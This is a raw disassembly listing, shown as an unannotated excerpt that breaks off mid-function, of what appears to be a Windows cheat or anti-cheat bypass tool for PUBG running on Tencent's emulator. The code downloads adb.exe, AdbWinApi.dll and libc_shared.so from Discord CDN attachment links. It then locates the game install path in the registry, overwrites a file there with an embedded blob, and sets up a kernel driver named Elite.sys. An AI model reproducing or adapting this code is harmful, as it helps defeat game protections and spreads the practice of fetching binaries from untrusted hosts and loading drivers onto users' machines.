mov eax, dword [r15 + r12]
cmp dword [0x140901e88], eax
jle 0x140053b6e
lea rcx, [0x140901e88]
call fcn.1400bd208
cmp dword [0x140901e88], 0xffffffff
jne 0x140053b6e
movups xmm0, xmmword [0x140901e60]
lea rcx, [0x140901e88]
movups xmmword [0x140901f60], xmm0
call fcn.1400bd1a8
mov r14, qword [0x1408b62b8]
lea rdx, [rbp + 0x950]
mov dword [rbp + 0x950], reloc.WS2_32.dll_setsockopt
movups xmm0, xmmword [r14 + 0x184c]
lea rcx, [r14 + 0x1ce8]
movups xmmword [rbp + 0x954], xmm0
call fcn.140027f30
movups xmm0, xmmword [0x140901f60]
lea rdx, [rbp + 0x950]
mov dword [rbp + 0x950], reloc.WS2_32.dll_socket
movups xmmword [r14 + 0x184c], xmm0
mov r14, qword [0x1408b62b8]
movups xmm0, xmmword [r14 + 0x186c]
lea rcx, [r14 + 0x1ce8]
movups xmmword [rbp + 0x954], xmm0
call fcn.140027f30
movups xmm0, xmmword [0x140901f60]
lea rdx, [rbp + 0x950]
mov dword [rbp + 0x950], reloc.WLDAP32.dll_Ordinal_22
movups xmmword [r14 + 0x186c], xmm0
mov r14, qword [0x1408b62b8]
movups xmm0, xmmword [r14 + 0x185c]
lea rcx, [r14 + 0x1ce8]
movups xmmword [rbp + 0x954], xmm0
call fcn.140027f30
movups xmm0, xmmword [0x140901f60]
mov edx, 0xff0000ff
movups xmmword [r14 + 0x185c], xmm0
call fcn.1400096b0
mov rdx, qword [0x140901ea0]
lea rcx, str.SAFE_EXIT
call fcn.14004d660
mov r10, qword [0x1408b62b8]
mov r9d, eax
mov rdx, qword [r10 + 0x1cf0]
movsxd rcx, dword [r10 + 0x1ce8]
lea r8, [rcx + rcx*4]
movsxd rcx, dword [rdx + r8*4 - 0x14]
movups xmm0, xmmword [rdx + r8*4 - 0x10]
add rcx, rcx
movups xmmword [r10 + rcx*8 + 0x16fc], xmm0
movsxd rcx, dword [r10 + 0x1ce8]
lea eax, [rcx - 1]
mov dword [r10 + 0x1ce8], eax
lea rax, [rcx - 2]
mov rcx, qword [r10 + 0x1cf0]
lea rdx, [rax + rax*4]
movsxd rax, dword [rcx + rdx*4]
movups xmm0, xmmword [rcx + rdx*4 + 4]
add rax, rax
movups xmmword [r10 + rax*8 + 0x16fc], xmm0
movsxd rcx, dword [r10 + 0x1ce8]
lea eax, [rcx - 1]
mov dword [r10 + 0x1ce8], eax
lea rax, [rcx - 2]
mov rcx, qword [r10 + 0x1cf0]
lea rdx, [rax + rax*4]
movsxd rax, dword [rcx + rdx*4]
movups xmm0, xmmword [rcx + rdx*4 + 4]
add rax, rax
movups xmmword [r10 + rax*8 + 0x16fc], xmm0
movsxd rcx, dword [r10 + 0x1ce8]
lea eax, [rcx - 1]
mov dword [r10 + 0x1ce8], eax
cmp r9d, 2
jne 0x140053d12
cmp dword [0x1408b6348], 1
jbe 0x140056abc
movss xmm1, dword [0x140145f40]
lea rax, [rcx - 2]
mov rcx, qword [r10 + 0x1cf0]
lea rdx, [rax + rax*4]
movsxd rax, dword [rcx + rdx*4]
movups xmm0, xmmword [rcx + rdx*4 + 4]
add rax, rax
movups xmmword [r10 + rax*8 + 0x16fc], xmm0
movsxd rcx, dword [r10 + 0x1ce8]
lea eax, [rcx - 1]
mov dword [r10 + 0x1ce8], eax
lea rax, [rcx - 2]
mov rcx, qword [r10 + 0x1cf0]
lea rdx, [rax + rax*4]
movsxd rax, dword [rcx + rdx*4]
movups xmm0, xmmword [rcx + rdx*4 + 4]
add rax, rax
movups xmmword [r10 + rax*8 + 0x16fc], xmm0
dec dword [r10 + 0x1ce8]
movaps xmm0, xmm15
call fcn.140017290
mov r8, qword [0x1408b62b8]
lea rcx, str.RED_FLAG
mov rax, qword [r8 + 0x1b90]
mov byte [rax + 0xc1], 1
mov rax, qword [r8 + 0x1b90]
movss xmm0, dword [rax + 0x130]
movss xmm1, dword [rax + 0x48]
subss xmm1, dword [rax + 0x8c]
addss xmm1, dword [0x140145ee0]
maxss xmm0, xmm1
movss dword [rax + 0x118], xmm1
movss dword [rax + 0x130], xmm0
call fcn.14003b840
movss xmm1, dword [0x140145f40]
movaps xmm0, xmm15
call fcn.140017290
mov r8, qword [0x1408b62b8]
lea rcx, str.PUBG_VER_:
mov rax, qword [r8 + 0x1b90]
mov byte [rax + 0xc1], 1
mov rax, qword [r8 + 0x1b90]
movss xmm0, dword [rax + 0x130]
movss xmm1, dword [rax + 0x48]
subss xmm1, dword [rax + 0x8c]
addss xmm1, dword [0x140145efc]
maxss xmm0, xmm1
movss dword [rax + 0x118], xmm1
movss dword [rax + 0x130], xmm0
call fcn.14003b840
movss xmm1, dword [0x140145f40]
movaps xmm0, xmm15
call fcn.140017290
cmp qword [reloc.WS2_32.dll_ntohs], 0x10
lea rcx, [0x1408b51f8]
cmovae rcx, qword [0x1408b51f8]
call fcn.14003b840
mov r8, qword [0x1408b62b8]
movsxd rax, dword [r8 + 0x1ce8]
mov rcx, qword [r8 + 0x1cf0]
lea rdx, [rax + rax*4]
movsxd rax, dword [rcx + rdx*4 - 0x14]
movups xmm0, xmmword [rcx + rdx*4 - 0x10]
add rax, rax
movups xmmword [r8 + rax*8 + 0x16fc], xmm0
dec dword [r8 + 0x1ce8]
call fcn.1400107d0
mov rcx, qword [0x1408b62b8]
mov rax, qword [rcx + 0x1b90]
mov byte [rax + 0xc1], 1
mov rax, qword [rcx + 0x1b90]
cmp byte [rax + 0xc4], 0
jne 0x140053eec
movss xmm1, dword [0x140145f40]
lea rcx, [rbp + 0x70]
mov qword [rbp + 0x70], 0
call fcn.140016ff0
mov rcx, qword [0x1408b62b8]
mov rax, qword [rcx + 0x1b90]
mov byte [rax + 0xc1], 1
mov rax, qword [rcx + 0x1b90]
cmp byte [rax + 0xc4], 0
jne 0x140053f2a
movss xmm1, dword [0x140145f40]
lea rcx, [rbp + 0x78]
mov qword [rbp + 0x78], 0
call fcn.140016ff0
mov rcx, qword [0x1408b62b8]
mov rax, qword [rcx + 0x1b90]
mov byte [rax + 0xc1], 1
mov rax, qword [rcx + 0x1b90]
cmp byte [rax + 0xc4], 0
jne 0x140053f6e
movss xmm1, dword [0x140145f40]
lea rcx, [rbp + 0x80]
mov qword [rbp + 0x80], 0
call fcn.140016ff0
mov rcx, qword [0x1408b62b8]
mov rax, qword [rcx + 0x1b90]
mov byte [rax + 0xc1], 1
mov rax, qword [rcx + 0x1b90]
cmp byte [rax + 0xc4], 0
jne 0x140053fb2
movss xmm1, dword [0x140145f40]
lea rcx, [rbp + 0x88]
mov qword [rbp + 0x88], 0
call fcn.140016ff0
mov rcx, qword [0x1408b62b8]
mov rax, qword [rcx + 0x1b90]
mov byte [rax + 0xc1], 1
mov rax, qword [rcx + 0x1b90]
cmp byte [rax + 0xc4], 0
jne 0x140053ff6
movss xmm1, dword [0x140145f40]
lea rcx, [rbp + 0x90]
mov qword [rbp + 0x90], 0
call fcn.140016ff0
mov rcx, qword [0x1408b62b8]
mov rax, qword [rcx + 0x1b90]
mov byte [rax + 0xc1], 1
mov rax, qword [rcx + 0x1b90]
cmp byte [rax + 0xc4], 0
jne 0x14005403a
movss xmm1, dword [0x140145f40]
lea rcx, [rbp + 0x98]
mov qword [rbp + 0x98], 0
call fcn.140016ff0
mov rcx, qword [0x1408b62b8]
mov rax, qword [rcx + 0x1b90]
mov byte [rax + 0xc1], 1
mov rax, qword [rcx + 0x1b90]
cmp byte [rax + 0xc4], 0
jne 0x14005407e
movss xmm1, dword [0x140145f40]
lea rcx, [rbp + 0xa0]
mov qword [rbp + 0xa0], 0
call fcn.140016ff0
mov rcx, qword [0x1408b62b8]
mov rax, qword [rcx + 0x1b90]
mov byte [rax + 0xc1], 1
mov rax, qword [rcx + 0x1b90]
cmp byte [rax + 0xc4], 0
jne 0x1400540c2
movss xmm1, dword [0x140145f40]
lea rcx, [rbp + 0xa8]
mov qword [rbp + 0xa8], 0
call fcn.140016ff0
mov rcx, qword [0x1408b62b8]
mov rax, qword [rcx + 0x1b90]
mov byte [rax + 0xc1], 1
mov rax, qword [rcx + 0x1b90]
cmp byte [rax + 0xc4], 0
jne 0x140054106
movss xmm1, dword [0x140145f40]
lea rcx, [rbp + 0xb0]
mov qword [rbp + 0xb0], 0
call fcn.140016ff0
mov rcx, qword [0x1408b62b8]
mov rax, qword [rcx + 0x1b90]
mov byte [rax + 0xc1], 1
mov rax, qword [rcx + 0x1b90]
cmp byte [rax + 0xc4], 0
jne 0x14005414a
movss xmm1, dword [0x140145f40]
lea rcx, [rbp + 0xb8]
mov qword [rbp + 0xb8], 0
call fcn.140016ff0
mov rcx, qword [0x1408b62b8]
mov rax, qword [rcx + 0x1b90]
mov byte [rax + 0xc1], 1
mov rax, qword [rcx + 0x1b90]
cmp byte [rax + 0xc4], 0
jne 0x14005418e
movss xmm1, dword [0x140145f40]
lea rcx, [rbp + 0xc0]
mov qword [rbp + 0xc0], 0
call fcn.140016ff0
mov rcx, qword [0x1408b62b8]
mov rax, qword [rcx + 0x1b90]
mov byte [rax + 0xc1], 1
mov rax, qword [rcx + 0x1b90]
cmp byte [rax + 0xc4], 0
jne 0x1400541d2
movss xmm1, dword [0x140145f40]
lea rcx, [rbp + 0xc8]
mov qword [rbp + 0xc8], 0
call fcn.140016ff0
mov rcx, qword [0x1408b62b8]
mov rax, qword [rcx + 0x1b90]
mov byte [rax + 0xc1], 1
mov rax, qword [rcx + 0x1b90]
cmp byte [rax + 0xc4], 0
jne 0x140054216
movss xmm1, dword [0x140145f40]
lea rcx, [rbp + 0xd0]
mov qword [rbp + 0xd0], 0
call fcn.140016ff0
mov rcx, qword [0x1408b62b8]
mov rax, qword [rcx + 0x1b90]
mov byte [rax + 0xc1], 1
mov rax, qword [rcx + 0x1b90]
cmp byte [rax + 0xc4], 0
jne 0x14005425a
movss xmm1, dword [0x140145f40]
lea rcx, [rbp + 0xd8]
mov qword [rbp + 0xd8], 0
call fcn.140016ff0
mov rcx, qword [0x1408b62b8]
mov rax, qword [rcx + 0x1b90]
mov byte [rax + 0xc1], 1
mov rax, qword [rcx + 0x1b90]
cmp byte [rax + 0xc4], 0
jne 0x14005429e
movss xmm1, dword [0x140145f40]
lea rcx, [rbp + 0xe0]
mov qword [rbp + 0xe0], 0
call fcn.140016ff0
mov rcx, qword [0x1408b62b8]
mov rax, qword [rcx + 0x1b90]
mov byte [rax + 0xc1], 1
mov rax, qword [rcx + 0x1b90]
cmp byte [rax + 0xc4], 0
jne 0x1400542e2
movss xmm1, dword [0x140145f40]
lea rcx, [rbp + 0xe8]
mov qword [rbp + 0xe8], 0
call fcn.140016ff0
lea rcx, str.Version_:
call fcn.14003b840
movss xmm1, dword [0x140145f40]
movaps xmm0, xmm15
call fcn.140017290
movaps xmm0, xmmword [0x1401460f0]
lea rdx, str.2.6.1
lea rcx, [rbp + 0x950]
movups xmmword [rbp + 0x950], xmm0
call fcn.14003b8c0
lea rcx, str.Key_Expiry_:
call fcn.14003b840
movss xmm1, dword [0x140145f40]
movaps xmm0, xmm15
call fcn.140017290
lea rdx, [rbp + 0x998]
call fcn.14004ff00
cmp qword [rax + 0x18], 0x10
jb 0x140054353
mov rax, qword [rax]
movaps xmm0, xmmword [0x1401460e0]
lea rcx, [rbp + 0x950]
mov rdx, rax
movups xmmword [rbp + 0x950], xmm0
call fcn.14003b8c0
mov rdx, qword [rbp + 0x9b0]
cmp rdx, 0x10
jb 0x1400543b1
mov rcx, qword [rbp + 0x998]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400543ac
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140056b62
call fcn.1400bd5b8
lea rcx, str.Status_:
call fcn.14003b840
movss xmm1, dword [0x140145f40]
movaps xmm0, xmm15
call fcn.140017290
cmp qword [reloc.WS2_32.dll_ntohs], 0x10
lea rcx, [0x1408b51b8]
mov r14, qword [0x1408b51b8]
setae r15b
cmovae rcx, r14
cmp qword [0x1408b51c8], 0x1d
jne 0x140054408
mov r8d, Ordinal_32
lea rdx, str.Game_Bypassed_Successfully...
call sub.VCRUNTIME140.dll_memcmp
movaps xmm0, xmmword [0x140146150]
lea rdx, [0x1408b51b8]
test r15b, r15b
lea rcx, [rbp + 0x950]
movups xmmword [rbp + 0x950], xmm0
cmovne rdx, r14
call fcn.14003b8c0
mov r14, qword [0x1408b62b8]
lea rdx, [rbp + 0x950]
movaps xmm6, xmmword [0x140146040]
mov dword [rbp + 0x950], 3
mov rax, qword [r14 + 0x1b90]
lea rcx, [r14 + 0x1ce8]
mov byte [rax + 0xc1], 1
mov rax, qword [r14 + 0x1b90]
movss xmm0, dword [rax + 0x4c]
subss xmm0, dword [rax + 0x90]
movss xmm2, dword [rax + 0x48]
subss xmm2, dword [rax + 0x8c]
addss xmm0, dword [0x140145ed4]
addss xmm2, xmm15
movss dword [rax + 0x11c], xmm0
movss dword [rax + 0x118], xmm2
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm2
movss dword [rax + 0x134], xmm1
movss dword [rax + 0x130], xmm0
movups xmm0, xmmword [r14 + 0x172c]
movups xmmword [rbp + 0x954], xmm0
call fcn.140027f30
movups xmmword [r14 + 0x172c], xmm6
mov r14, qword [0x1408b62b8]
xor edx, edx
mov dword [rbp + 0xf0], 0x43660000
mov dword [rbp + 0xf4], 0x42dc0000
mov rax, qword [r14 + 0x1b90]
mov byte [rax + 0xc1], 1
mov rax, qword [r14 + 0x1b90]
movsxd rcx, dword [rax + 0x108]
mov rax, qword [rax + 0x110]
mov r8d, dword [rax + rcx*4 - 4]
lea rcx, [0x140141d48]
call fcn.140008b80
cmp dword [r14 + 0x1be8], eax
jne 0x140054547
mov dword [r14 + 0x1bec], eax
cmp dword [r14 + 0x1c28], eax
jne 0x140054558
mov byte [r14 + 0x1c2c], 1
lea r8, [rbp + 0xf0]
mov dword [rsp + 0x20], 8
mov edx, eax
lea rcx, [0x140141d48]
call fcn.1400104a0
mov rcx, qword [0x1408b62b8]
lea rdx, [rbp + 0xf8]
mov dword [rbp + 0xf8], 0x434d0000
mov dword [rbp + 0xfc], 0x41f00000
mov rax, qword [rcx + 0x1b90]
mov byte [rax + 0xc1], 1
mov rax, qword [rcx + 0x1b90]
lea rcx, str.Start_Emulator
movss xmm0, dword [rax + 0x134]
movss xmm1, dword [rax + 0x4c]
subss xmm1, dword [rax + 0x90]
addss xmm1, xmm7
maxss xmm0, xmm1
movss dword [rax + 0x11c], xmm1
movss dword [rax + 0x134], xmm0
call fcn.14003c230
test al, al
je 0x1400552d1
xor r12d, r12d
mov qword [rbp + 0x988], reloc.WS2_32.dll_ntohs
lea rdx, str.adb.exe
mov qword [rbp + 0x970], r12
lea rcx, [rbp + 0x970]
mov qword [rbp + 0x980], r12
lea r8d, [r12 + 7]
call fcn.140059490
cmp qword [rbp + 0x988], 0x10
lea rcx, [rbp + 0x970]
lea rdx, [0x140141630]
cmovae rcx, qword [rbp + 0x970]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
test rax, rax
je 0x140054658
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
xor r14b, r14b
jmp 0x14005465b
mov r14b, 1
mov rdx, qword [rbp + 0x988]
cmp rdx, 0x10
jb 0x14005469c
mov rcx, qword [rbp + 0x970]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140054697
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140056b69
call fcn.1400bd5b8
test r14b, r14b
je 0x1400546bf
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, str.adb.exe
xor ecx, ecx
lea rdx, str.https:__cdn.discordapp.com_attachments_1105184585278574732_1116719946148360283_adb.exe
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov r8d, reloc.WS2_32.dll_listen
mov qword [rbp + 0x970], r12
lea rdx, str.AdbWinApi.dll
mov qword [rbp + 0x980], r12
lea rcx, [rbp + 0x970]
mov qword [rbp + 0x988], reloc.WS2_32.dll_ntohs
call fcn.140059490
cmp qword [rbp + 0x988], 0x10
lea rcx, [rbp + 0x970]
lea rdx, [0x140141630]
cmovae rcx, qword [rbp + 0x970]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
test rax, rax
je 0x140054728
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
xor r14b, r14b
jmp 0x14005472b
mov r14b, 1
mov rdx, qword [rbp + 0x988]
cmp rdx, 0x10
jb 0x14005476c
mov rcx, qword [rbp + 0x970]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140054767
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140056b70
call fcn.1400bd5b8
test r14b, r14b
je 0x14005478f
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, str.AdbWinApi.dll
xor ecx, ecx
lea rdx, str.https:__cdn.discordapp.com_attachments_1105184585278574732_1116719946584559716_AdbWinApi.dll
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor r8d, r8d
mov qword [rbp + 0x970], r12
lea rdx, [0x1400d08e7]
mov qword [rbp + 0x980], r12
lea rcx, [rbp + 0x970]
mov qword [rbp + 0x988], reloc.WS2_32.dll_ntohs
call fcn.140059490
cmp qword [rbp + 0x988], 0x10
lea rcx, [rbp + 0x970]
lea rdx, [0x140141630]
cmovae rcx, qword [rbp + 0x970]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
test rax, rax
je 0x1400547f5
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
xor r14b, r14b
jmp 0x1400547f8
mov r14b, 1
mov rdx, qword [rbp + 0x988]
cmp rdx, 0x10
jb 0x140054839
mov rcx, qword [rbp + 0x970]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140054834
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140056b77
call fcn.1400bd5b8
test r14b, r14b
je 0x14005485c
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [0x1400d08e7]
xor ecx, ecx
lea rdx, str.https:__cdn.discordapp.com_attachments_1106646708701642753_1117488561046966433_libc_shared.so
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov r8d, Ordinal_46
mov qword [rbp + 0x9e0], r12
lea rdx, str.SOFTWAREWOW6432NodeTencentMobileGamePC_
mov qword [rbp + 0x9f0], r12
lea rcx, [rbp + 0x9e0]
mov qword [rbp + 0x9f8], reloc.WS2_32.dll_ntohs
call fcn.140059490
cmp qword [rbp + 0x9f8], 0x10
lea rax, [rbp + 0x940]
xorps xmm0, xmm0
mov qword [rbp + 0xb10], r12
lea rdx, [rbp + 0x9e0]
mov qword [rsp + 0x20], rax
cmovae rdx, qword [rbp + 0x9e0]
mov r9d, 0x20019
xor r8d, r8d
mov rcx, 0xffffffff80000002
movdqu xmmword [rbp + 0xb00], xmm0
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x140054e66
mov rcx, qword [rbp + 0x9f0]
movabs r15, 0x7fffffffffffffff
mov rax, r15
mov dword [rbp + 0x990], r12d
sub rax, rcx
cmp rax, 2
jb 0x14005710d
cmp qword [rbp + 0x9f8], 0x10
lea rax, [0x140141ebc]
mov qword [rsp + 0x30], 2
lea r9, [rbp + 0x9e0]
cmovae r9, qword [rbp + 0x9e0]
lea r8, [rbp + 0x9e0]
mov qword [rsp + 0x28], rax
movzx edx, dil
mov qword [rsp + 0x20], rcx
lea rcx, [rbp + 0x998]
call fcn.14005aed0
cmp qword [rbp + 0x9b0], 0x10
lea rdx, [rbp + 0x998]
lea r8, [rbp + 0x8d0]
mov rcx, 0xffffffff80000002
cmovae rdx, qword [rbp + 0x998]
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x140054e25
xor edx, edx
mov dword [rbp + 0x990], 0xff
mov r8d, 0xff
lea rcx, [rbp + 0xb40]
call sub.VCRUNTIME140.dll_memset
mov rcx, qword [rbp + 0x8d0]
lea rax, [rbp + 0x990]
mov qword [rsp + 0x28], rax
lea rdx, str.InstallPath
lea rax, [rbp + 0xb40]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x140054e18
mov qword [rbp + 0x970], r12
lea rax, [rbp + 0xb40]
mov qword [rbp + 0x980], r12
mov r8, 0xffffffffffffffff
mov qword [rbp + 0x988], reloc.WS2_32.dll_ntohs
inc r8
cmp byte [rax + r8], r12b
jne 0x140054a03
lea rdx, [rbp + 0xb40]
lea rcx, [rbp + 0x970]
call fcn.140059490
mov rcx, qword [rbp + 0x980]
mov rax, r15
sub rax, rcx
cmp rax, 0x16
jb 0x140057107
cmp qword [rbp + 0x988], 0x10
lea rax, [0x140141ed0]
mov qword [rsp + 0x30], reloc.WLDAP32.dll_Ordinal_22
lea r9, [rbp + 0x970]
cmovae r9, qword [rbp + 0x970]
lea r8, [rbp + 0x970]
mov qword [rsp + 0x28], rax
movzx edx, sil
mov qword [rsp + 0x20], rcx
lea rcx, [rbp + 0x950]
call fcn.14005aed0
cmp qword [rbp + 0x968], 0x10
lea rcx, [rbp + 0x950]
mov qword [rsp + 0x30], r12
mov edx, 0xc0000000
cmovae rcx, qword [rbp + 0x950]
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov r14, rax
cmp rax, 0xffffffffffffffff
je 0x140054af6
lea r9, [rbp + 0x9d8]
mov dword [rbp + 0x9d8], r12d
mov r8d, 0x650188
mov qword [rsp + 0x20], r12
lea rdx, [0x1401626c0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x968]
mov r8, qword [rbp + 0x960]
mov rax, rcx
sub rax, r8
cmp rax, 1
jb 0x140054b48
inc r8
lea r14, [rbp + 0x950]
cmp rcx, 0x10
mov qword [rbp + 0x960], r8
cmovae r14, qword [rbp + 0x950]
mov rdx, r14
lea rcx, [r14 + 1]
call sub.VCRUNTIME140.dll_memmove
movabs rax, 0x2222222222222222
mov byte [r14], al
jmp 0x140054b54
lea rcx, [rbp + 0x950]
call fcn.140059f50
mov r8d, 5
mov qword [rbp - 0x58], r12
lea rdx, str..exe_
mov qword [rbp - 0x48], r12
lea rcx, [rbp - 0x58]
mov qword [rbp - 0x40], reloc.WS2_32.dll_ntohs
call fcn.140059490
mov r8d, 4
mov qword [rbp - 0x78], r12
lea rdx, str..exe
mov qword [rbp - 0x68], r12
lea rcx, [rbp - 0x78]
mov qword [rbp - 0x60], reloc.WS2_32.dll_ntohs
call fcn.140059490
xor r8d, r8d
lea rdx, [rbp - 0x78]
lea rcx, [rbp + 0x950]
call fcn.140058740
mov r14, rax
cmp rax, 0xffffffffffffffff
je 0x140054c17
mov r12, qword [rbp - 0x68]
mov r15, qword [rbp - 0x48]
cmp qword [rbp - 0x40], 0x10
lea r9, [rbp - 0x58]
mov r8, r12
mov qword [rsp + 0x20], r15
cmovae r9, qword [rbp - 0x58]
lea rcx, [rbp + 0x950]
mov rdx, r14
call fcn.140059090
mov r15, qword [rbp - 0x48]
lea rdx, [rbp - 0x78]
lea rcx, [rbp + 0x950]
lea r8, [r15 + r14]
call fcn.140058740
mov r14, rax
cmp rax, 0xffffffffffffffff
jne 0x140054bc4
xor r12d, r12d
movabs r15, 0x7fffffffffffffff
mov rdx, qword [rbp - 0x60]
cmp rdx, 0x10
jb 0x140054c52
mov rcx, qword [rbp - 0x78]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140054c4d
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140056b7e
call fcn.1400bd5b8
mov rdx, qword [rbp - 0x40]
cmp rdx, 0x10
jb 0x140054c8d
mov rcx, qword [rbp - 0x58]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140054c88
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140056b7e
call fcn.1400bd5b8
mov rcx, qword [rbp + 0x960]
mov rax, r15
sub rax, rcx
cmp rax, 8
jb 0x140057101
cmp qword [rbp + 0x968], 0x10
lea rax, str.__vm_100
mov qword [rsp + 0x30], 8
lea r9, [rbp + 0x950]
cmovae r9, qword [rbp + 0x950]
lea r8, [rbp + 0x950]
mov qword [rsp + 0x28], rax
movzx edx, bl
mov qword [rsp + 0x20], rcx
lea rcx, [rbp + 0xb18]
call fcn.14005aed0
cmp qword [rbp + 0xb30], 0x10
lea rdx, [rbp + 0xb18]
mov qword [rbp - 0x78], r12
mov r8, 0xffffffffffffffff
cmovae rdx, qword [rbp + 0xb18]
mov qword [rbp - 0x68], r12
mov qword [rbp - 0x60], reloc.WS2_32.dll_ntohs
nop dword [rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x140054d20
lea rcx, [rbp - 0x78]
call fcn.140059490
lea rcx, [rbp - 0x78]
call fcn.14004d4f0
mov rdx, qword [rbp + 0xb30]
cmp rdx, 0x10
jb 0x140054d7d
mov rcx, qword [rbp + 0xb18]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140054d78
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140056b7e
call fcn.1400bd5b8
mov rdx, qword [rbp + 0x968]
cmp rdx, 0x10
jb 0x140054dbe
mov rcx, qword [rbp + 0x950]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140054db9
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140056b7e
call fcn.1400bd5b8
mov rdx, qword [rbp + 0x988]
mov qword [rbp + 0x960], r12
mov qword [rbp + 0x968], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x950], 0
cmp rdx, 0x10
jb 0x140054e18
mov rcx, qword [rbp + 0x970]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140054e13
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140056b7e
call fcn.1400bd5b8
mov rcx, qword [rbp + 0x8d0]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rdx, qword [rbp + 0x9b0]
cmp rdx, 0x10
jb 0x140054e66
mov rcx, qword [rbp + 0x998]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140054e61
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140056b85
call fcn.1400bd5b8
mov r8d, reloc.WS2_32.dll_recv
lea rdx, str.Emulator_Started
lea rcx, [0x1408b51b8]
call fcn.140059490
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x88
call fcn.1400bd318
mov r14, rax
mov qword [rbp + 0x950], r12
xorps xmm0, xmm0
mov qword [rbp + 0x960], r12
xor eax, eax
mov qword [rbp + 0x968], reloc.WS2_32.dll_ntohs
lea rdx, str.Elite
movups xmmword [r14], xmm0
lea rcx, [rbp + 0x950]
movups xmmword [r14 + 0x10], xmm0
lea r8d, [rax + 5]
movups xmmword [r14 + 0x20], xmm0
movups xmmword [r14 + 0x30], xmm0
movups xmmword [r14 + 0x40], xmm0
movups xmmword [r14 + 0x50], xmm0
movups xmmword [r14 + 0x60], xmm0
movups xmmword [r14 + 0x70], xmm0
mov qword [r14 + 0x80], rax
call fcn.140059490
mov r8d, reloc.WS2_32.dll_listen
mov qword [rbp + 0x970], r12
lea rdx, str.DeviceElite
mov qword [rbp + 0x980], r12
lea rcx, [rbp + 0x970]
mov qword [rbp + 0x988], reloc.WS2_32.dll_ntohs
call fcn.140059490
mov r8d, recvfrom
mov qword [rbp - 0x78], r12
lea rdx, str.C:Elite.sys
mov qword [rbp - 0x68], r12
lea rcx, [rbp - 0x78]
mov qword [rbp - 0x60], reloc.WS2_32.dll_ntohs
call fcn.140059490
lea r9, [rbp + 0x950]
mov rcx, r14
lea r8, [rbp + 0x970]
or r13d, 7
lea rdx, [rbp - 0x78]
call fcn.14004c9b0
mov rdx, qword [rbp - 0x60]
and r13d, 0xfffffffb
mov qword [0x1408c9f58], rax
cmp rdx, 0x10
jb 0x140054fb6
mov rcx, qword [rbp - 0x78]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140054fb1
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140056b8c
call fcn.1400bd5b8
mov rdx, qword [rbp + 0x988]
and r13d, 0xfffffffd
cmp rdx, 0x10
jb 0x140054ffb
mov rcx, qword [rbp + 0x970]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140054ff6
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
